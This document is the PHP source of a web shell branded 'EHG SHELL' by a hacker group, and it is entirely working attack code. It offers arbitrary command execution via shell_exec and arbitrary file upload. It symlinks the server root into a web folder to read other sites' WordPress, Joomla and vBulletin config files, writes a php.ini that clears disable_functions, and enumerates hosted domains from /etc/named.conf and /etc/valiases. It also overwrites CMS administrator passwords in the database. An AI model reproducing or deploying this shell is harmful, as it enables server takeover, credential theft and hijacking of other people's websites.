<?php

error_reporting(0);
$il_admin = array("ehg",md5("ehgvn"));
$il_login = 1; //0 Dissable Login,1 Enable Login
//Check login Disable/Enable By Joker Dark Knight
if ($il_login == 1){
session_start();
}
else {
echo "<center><font color='red'>Warring :EHGShell Login is <b>Disable</b></font></center>";
}

if ($il_login == 1 && $_REQUEST['user'] != $il_admin[0] && $_REQUEST['pass'] != $il_admin[1]){
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<meta name="Author" content="Joker Dark Knight"/>
<title> Shell Login </title>
<style type="text/css">
body {background-color: #000;}
div.khung {
border: 1px solid #fff;
}
p,font {
color: red;
}
input {
border: 1px solid red;
background-color: #000;
color: #fff;
padding: 3px;
width: 160px;
}
input:hover,input:active {
border:dotted red;
}
</style>
</head>
<body>
<center>
<div class="khung" style="width: 30%">
<font><b>Warring</b>: Not Permission, Please login shell !</font><br />
<form method="POST" action="">
<font>Username&nbsp </font><input type="text" name="user" Placeholder=" Username... "/><br />
<font>Password&nbsp </font><input type="password" name="pass" placeholder=" Password... "/><br />
<input type="submit" value="Login" name="login" style="float: right"/> 
</form>
<br />
</div>
</center>
</body>
</html>
<?php
exit;
}
if ($il_login == 1 && $_REQUEST['login'] && $_REQUEST['user'] == $il_admin[0] && md5($_REQUEST['pass']) == $il_admin[1]){
$_SESSION['jokervhbvhg'] = 1;
}


?>
<?php if ($_SESSION['JokerVHBVHG'] == 1){?>--> Login as [<b><?php print ($il_admin[0]); ?></b>] - <a href="?cmd=logout" > Logout </a> <?php } ?>
<?php
if ($_GET['cmd'] == 'logout'){

$_SESSION['jokervhbvhg'] = 0;

}

 $head = '
<html>
<head>
</script>
<title>--==[[E H G SHELL by Joker Dark Knight]]==--</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<STYLE>
body {
font-family: Tahoma
}
tr {
BORDER: dashed 1px #333;
color: #FFF;
}
td {
BORDER: dashed 1px #333;
color: #FFF;
}
.table1 {
BORDER: 0px Black;
BACKGROUND-COLOR: Black;
color: #FFF;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: Green;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #FFF;
}
table {
BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #FFF;
}
input {
border			: dashed 1px;
border-color		: #333;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
select {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #DF0000 1px solid;
BORDER-LEFT:   #DF0000 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #FFF;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 30%;
color: #FFF;
}
textarea {
border			: dashed 1px #333;
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999;
}
BODY {
	SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
margin: 1px;
color: Red;
background-color: Black;
}
.main {
margin			: -287px 0px 0px -490px;
BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}

A:link {
	COLOR: White; TEXT-DECORATION: none
}
A:visited {
	COLOR: White; TEXT-DECORATION: none
}
A:hover {
	color: Red; TEXT-DECORATION: none
}
A:active {
	color: Red; TEXT-DECORATION: none
}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>'; ?>
<html>
	<head>
		<?php 
		echo $head ;
		echo '

<table width="100%" cellspacing="0" cellpadding="0" class="tb1" >

			

       <td width="100%" align=center valign="top" rowspan="1">
           <font color=red size=5 face="comic sans ms"><b>--==[[ EHG SH</font><font color=white size=5 face="comic sans ms"><b>ELL By Joker Dark Knight </font><font color=green size=5 face="comic sans ms"><b> ]]==--</font> <div class="hedr"> 

        <td height="10" align="left" class="td1"></td></tr><tr><td 
        width="100%" align="center" valign="top" rowspan="1"><font 
        color="red" face="comic sans ms"size="1"><b> 
        <font color=red> 
        ####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font><br><font color=white>-==[[ For Members of the EHG]]==--</font><br>   This shell was written by J D K. Or another way to say that this shell was editing by J D K. Hihihi<br>EHG is Empty Hacker Group<br>We Are Great Legion<br>We Are Power<br> We Do Not Forgive<br> We Do Not Forget <br> Expect and Join with Us...<br> We Are Expecting U...<br><font color=white>--==[[Some members from to the EHG]]==--</font>
<br># Van Cuong, Joker Dark Knight, Fwh Nguyen,Huu Duc XCryperx, Nguyen Trong Hai, Pham Thanh, Thai Chippi v.v... #<br><font color=red> 
        ####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font>
						
           </table>
        

'; 
?>

</head>

<body bgcolor="black"><body bgcolor="black">
	
	<table border=1 width=100%><td width=15% align=right><font color=red size=-2 face="comic sans ms">uname<br>server_ip<br>your_ip<br>server_software<br>disabled_functions</td><td><?php echo "<font size=-2>".php_uname()  ;?>	<br><?php echo "<font size=-2>".gethostbyname($_SERVER["HTTP_HOST"]);?><br><?php echo $_SERVER['REMOTE_ADDR'];?><br><?php echo $s_software = getenv("SERVER_SOFTWARE"); ?><br><?php $r=ini_get('disable_functions') ? ini_get('disable_functions'):'none'; echo $r;?>
	</table><?php echo $head ; ?><table width=100% ><tr><td align=center width=60% >
	
	

<?php 

	if(!isset($_POST['sbexe']))
	{
	
							?>
						<textarea  name=output cols="100" rows="10" ><?php 
						$r="ls -l";
						echo shell_exec($r); ?></textarea>
						<?php
						
				}	
				
				else
				{
					
					if(isset($_POST['sbexe']))
	{
		echo "<font size=3>";
	$cmde=$_POST["cmex"];
	?><textarea  name=output cols="100" rows="10" ><?php echo shell_exec($cmde); ?></textarea>
	<?php
} }		
?>

<tr><td  align=center><font color=white size=3 face="comic sans ms">--==[[Command 
	execution]]==--</font></font><form method=POST>
		
	<input type name=cmex >
	<input type=submit name=sbexe value='HEX it now' /></form>
	</td></tr>

	
	</table><table border=1 width=100%> <tr><td align=center><?php 
 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50">&nbsp&nbsp&nbsp&nbsp<input  type="submit"  name="sut" value="Upload"></form>'; 
if( isset($_POST['sut']) )
 {
	  	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
	  	 { echo '<font color=red size=-2 face="comic sans ms">upload done<<br><br>'; } 	
	  	 else { echo '<font color=red size=-2 face="comic sans ms">Upload failed :P<br>'; } } 


?>
<table width=100%>
<tr><td align=center><a href="<?php echo "?wjc" ; ?>"><font color=white size=2 face="comic sans ms"><b>--==[[</font><font color=red size=2 face="comic sans ms">CMS based symlink,VBulletin,wordpress and Joomla password changer</font><font color=white size=2 face="comic sans ms">]]==--</a></table>
<?php 
echo $head;
if(isset($_GET['wjc']))
{
?>
	<table width=100%><tr><td align=center><font color="red" size="3" face="comic sans ms">cms based 
	symlink</font></a></td><td width=25% align=center><font color=white size=3 face="comic sans ms">VBulletin-pass changer</font></a>
	

	</td><td align=center><font color=white size=3 face="comic sans ms">wordpress-pass changer</font></a>
	

	</td><td width="20%"align=center><font color=red size=3 face="comic sans ms">Joomla-pass changer</font></a> </td></tr><td align=left> <?php
//cms based symlink funcion


		
echo "<Form Method =Post ACTION =' '>";
echo "<font size=2 color=white face='comic sans ms'>website username <input type='text' name='uname'>&nbsp&nbsp&nbsp<br> ";

echo "<font color='white' size=2 face='comic sans ms'><Input type = 'Radio' Name ='config'  value='wordpress'><font color='white'>wordpress";
echo "<br><Input type = 'Radio' Name ='config' value= 'joomla'><font color='white' size=2 face='comic sans ms'>joomla<br>";
echo "<Input type = 'Radio' Name ='config' value= 'vBulletin'><font color='white'  size=2 face='comic sans ms'>vBulletin";
echo "<br><Input type = 'Radio' Name ='config' value= 'any'><font color='white' size=2 face='comic sans ms'>public_html";
echo "<p>"; 
echo "<Input type = 'Submit' Name = 'Submit1' Value = '>>'>";
echo "</FORM>";

if(isset($_POST['Submit1']))
{
	$r=$_POST["config"];
if($r=="wordpress")
{
	
	$y=trim($_POST["uname"]);
	 
	
 function curPageURL() {
 $pageURL = 'http';
 
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 
 $pageURL =$URL;
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
 
}

 $r= dirname(curPageURL());
  $x=$r."/indishell/root/home/".$y."/public_html/wp-config.php";
  
echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to wp-config.php</a>";


	}	
	elseif($r=="joomla")
	{ 
	$un=trim($_POST["uname"]);
	 function curPageURL() {
 $pageURL = 'http';
 
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 
 $pageURL =$URL;
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
 
}

 $r= dirname(curPageURL());
  $x=$r."/indishell/root/home/".$un."/public_html/configuration.php";
  
echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to configuration.php</a>";
}
	

elseif($r=="vBulletin")
{
	
	$y=trim($_POST["uname"]);
	 
	 function curPageURL() {
 $pageURL = 'http';
 
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 
 $pageURL =$URL;
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
 
}

 $r= dirname(curPageURL());
  $x=$r."/indishell/root/home/".$y."/public_html/includes/config.php";
  
echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to includes/config.php</a>";
	


	}	
	elseif($r=="any")
	{
	$y=trim($_POST["uname"]);
	
	 function curPageURL() {
 $pageURL = 'http';
 
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 
 $pageURL =$URL;
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
 
}

 $r= dirname(curPageURL());
  $x=$r."/indishell/root/home/".$y."/public_html/";
  
echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to public_html directory</a>";
	 
	
	}
	}



?>
</td><td width=25 align=right><font size=2 color=red face=comic sans ms>
	
	<body bgcolor=black><font color=red><form method=POST>
<font size=2 color=white face='comic sans ms'>Host:<input type=text name=lh value=localhost><br>
<font size=2 color=white face='comic sans ms'>Datbase_name:<input type=text name="dbn" ><br>
<font size=2 color=white face='comic sans ms'>Database_Username:<input type=text name="dbu"><br>
<font size=2 color=white face='comic sans ms'>Database_password:<input type=text name="dbp"><br>
<font size=2 color=white face='comic sans ms'><input type=submit name=sb value=">>" /> </form>
<?php
if(isset($_POST['sb']))
{
$r=$_POST["dbn"];
$s=$_POST["dbu"];
$t=$_POST["dbp"];


$Connect = @mysql_select_db($_POST['dbn'],mysql_pconnect($_POST['lh'],$_POST['dbu'],$_POST['dbp']));

   $sqlcm=@mysql_query("UPDATE 'user' SET 'password' = 'e68f496a84ae3e9d98c130992734648b','salt' = '+-~' WHERE 'userid' = '1' LIMIT 1");
if($sqlcm){ 
echo "try with password 0123456";
}
}


?>


</td><td width=25% align=right><font size=2 color=red face=comic sans ms>
<form method=POST>
	<br><font size=2 color=white face='comic sans ms'>Host</font><font color=red><input type= name=ht value=localhost><br>
	<font size=2 color=white face='comic sans ms'>Database_name</font><input type=text name=db_name ><br>
<font size=2 color=white face='comic sans ms'>Database_user</font><input type=text name=db_us ><br>
<font size=2 color=white face='comic sans ms'>Database_password</font><input type=text name=db_ps ><br>
<font size=2 color=white face='comic sans ms'>New_username</font><input type=text name=nw_name ><br>
<font size=2 color=white face='comic sans ms'>New_pass</font><input type=text name=nw_pass ><br>
<br>
<input type=submit name=smt value=">>" /></form></td><td width=25% align=right>


<form method=POST><br>
	<font size=2 color=white face='comic sans ms'>Host</font><font color=red><input type= name=ht value=localhost><br>
	<font size=2 color=white face='comic sans ms'>Database_name</font><input type=text name=db_name ><br>
<font size=2 color=white face='comic sans ms'>Database_user</font><input type=text name=db_us ><br>
<font size=2 color=white face='comic sans ms'>Database_password</font><input type=text name=db_ps ><br>
<font size=2 color=white face='comic sans ms'>New_username</font><input type=text name=nw_name ><br>
<font size=2 color=white face='comic sans ms'>New_pass</font><input type=text name=nw_pass ><br>
<br>
<input type=submit name=smit value=">>" /></form></td></tr></table>
<?php }
?>


<table border=1 width=100% hight=100%><td align=center> <a href="<?php echo '?symlink'?>"><font 
	color=white size=3 face="comic sans ms">Symlink the_R00t 
	folder</a></font></td><td align=center><a href="<?php echo '?du';?>"><font 
	color=red size=3 face="comic sans ms">website and 
	username</td><td align=center><a href="<?php echo '?etv'?>"><font 
	color=white size=3 face="comic sans ms">username (ls 
	/etc/valiases)</a></td></tr></table>


<table width=100%><tr><td
	align=center><a href="<?php echo '?ds';?>"><font color=white size=3 face="comic sans ms" >--==[[Generate php.ini file]]==--</a>
	</td></tr>

	</font></font></font>
		</table>






<?php
error_reporting(0);
if(isset($_GET['symlink']))
	{

	

$mk = mkdir('indishell',0777);




$r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$f = fopen('indishell/.htaccess','w');

$indishell = symlink("/","indishell/root");

fwrite($f , $r);
function curPageURL() {
 $pageURL = 'http';
 
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 
 $pageURL =$URL;
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
 
}

 $r= dirname(curPageURL());
  $x=$r."/indishell/root";
echo "<p><a href=".$x."><font color=white size=4 face='comic sans ms'>check this link for symlink </a>";
}
?>





<?php
if(isset($_GET['ds']))
{
	$htcs  = " disable_functions =none ";
$f = fopen('php.ini','w');


fwrite($f , $htcs);



 function curPageURL() {
 $pageURL = 'http';
 
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 
 $pageURL =$URL;
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
 
}

 $r= dirname(curPageURL());
  $x=$r."/php.ini";
  
echo "<br \><a href=". $x."><font color=white size=4 face='comic sans ms'>link  to php.ini</a>";

}
?>




<?php

?>

<?php
if(isset($_GET['du']))
{

$d0mains = @file("/etc/named.conf");

if(!$d0mains){ die("<font size=3><b><font color=white>error in reading /etc/named.conf "); }

echo "<table align=center border=1>
<tr><td><font size=3 face='comic sans ms'>website</td><td><font size=3 face=comic sans ms>username</font></td></tr>";

foreach($d0mains as $d0main){

if(eregi("zone",$d0main)){

preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();

if(strlen(trim($domains[1][0])) > 2){ 

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));

echo "<tr><td><a href=http://www.".$domains[1][0]."/><font color=white face='comic sans ms'>".$domains[1][0]."</a></td><td><font color=white face='comic sans ms'>".$user['name']."</td></tr>"; flush();

}}}
}?>

<?php 
echo "<font color=white>";
if(isset($_GET['etv']))

{
echo $head;
 
	echo "<form method=post>";
	echo "<br><font color=white size=4 face=comic sans ms>website name :<input type=text name=webn>";
	echo "<br><br>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type=submit name=we value=^_^ /></form><br>";
	}


?>
<?php

if(isset($_POST['we']))
{
	$text=$_POST["webn"];
	
	$text1=trim($text);
	$te1 = ereg_replace("(https?)://", "", $text1);
	$te = ereg_replace("www.", "", $te1);
	
	
	$d="ls -la /etc/valiases/".$te;
	echo shell_exec($d);



}
	
	
	
	
	


?>



<?php
if(isset($_GET['wp-reset']))
{
	?>


<?php
}

?>
<?php
if(isset($_POST['smt']))

{
	$host=$_POST["ht"];
	$dbn=$_POST["db_name"];
	$dbu=$_POST["db_us"];
	$dbp=$_POST["db_ps"];
	$nn=$_POST["nw_name"];
	$np=$_POST["nw_pass"];
	$npwd= md5($np);
	$dbconnect=@ mysql_connect($host,$dbu,$dbp);
	$dbslect=@ mysql_select_db($dbn);
	$npwd= md5($np);
	$ru=@ mysql_query("UPDATE `wp_users` SET `user_login` ='".$nn."' WHERE ID = 1") ;
$ru= @ mysql_query("UPDATE `wp_users` SET `user_pass` ='".$npwd."' WHERE ID = 1") ;
	
	if(!$ru)
      {
		  echo "<font size=2 color=white face='comic sans ms'><br>something went wrong :P";
		  }
		  else {
			  
			  echo "<font size=2 color=white face='comic sans ms'><br>try to login with new password :D";
			  }
		  
		}



?>

<?php
if(isset($_POST['smit']))

{
	$host=$_POST["ht"];
	$dbn=$_POST["db_name"];
	$dbu=$_POST["db_us"];
	$dbp=$_POST["db_ps"];
	$nn=$_POST["nw_name"];
	$np=$_POST["nw_pass"];
	$npwd= md5($np);
	$dbconnect=@ mysql_connect($host,$dbu,$dbp);
	$dbslect=@ mysql_select_db($dbn);
	$npwd= md5($np);
	$run =@mysql_query("UPDATE `jos_users` SET username ='".$nn."' WHERE usertype ='Super Administrator'");
$run =@mysql_query("UPDATE `jos_users` SET password ='".$npwd."' WHERE usertype = 'Super Administrator'");
$run =@mysql_query("UPDATE `jos_users` SET username ='".$nn."' WHERE usertype = 'deprecated'");
$run =@mysql_query("UPDATE `jos_users` SET password ='".$npwd."' WHERE usertype = 'deprecated'");
	if(!$run)
      {
		  echo "<font size=2 color=white face='comic sans ms'><br>something went wrong :P";
		  }
		  else {
			  
			  echo "<font size=2 color=white face='comic sans ms'><br>done :D";
			  }
		  
		}



?>




 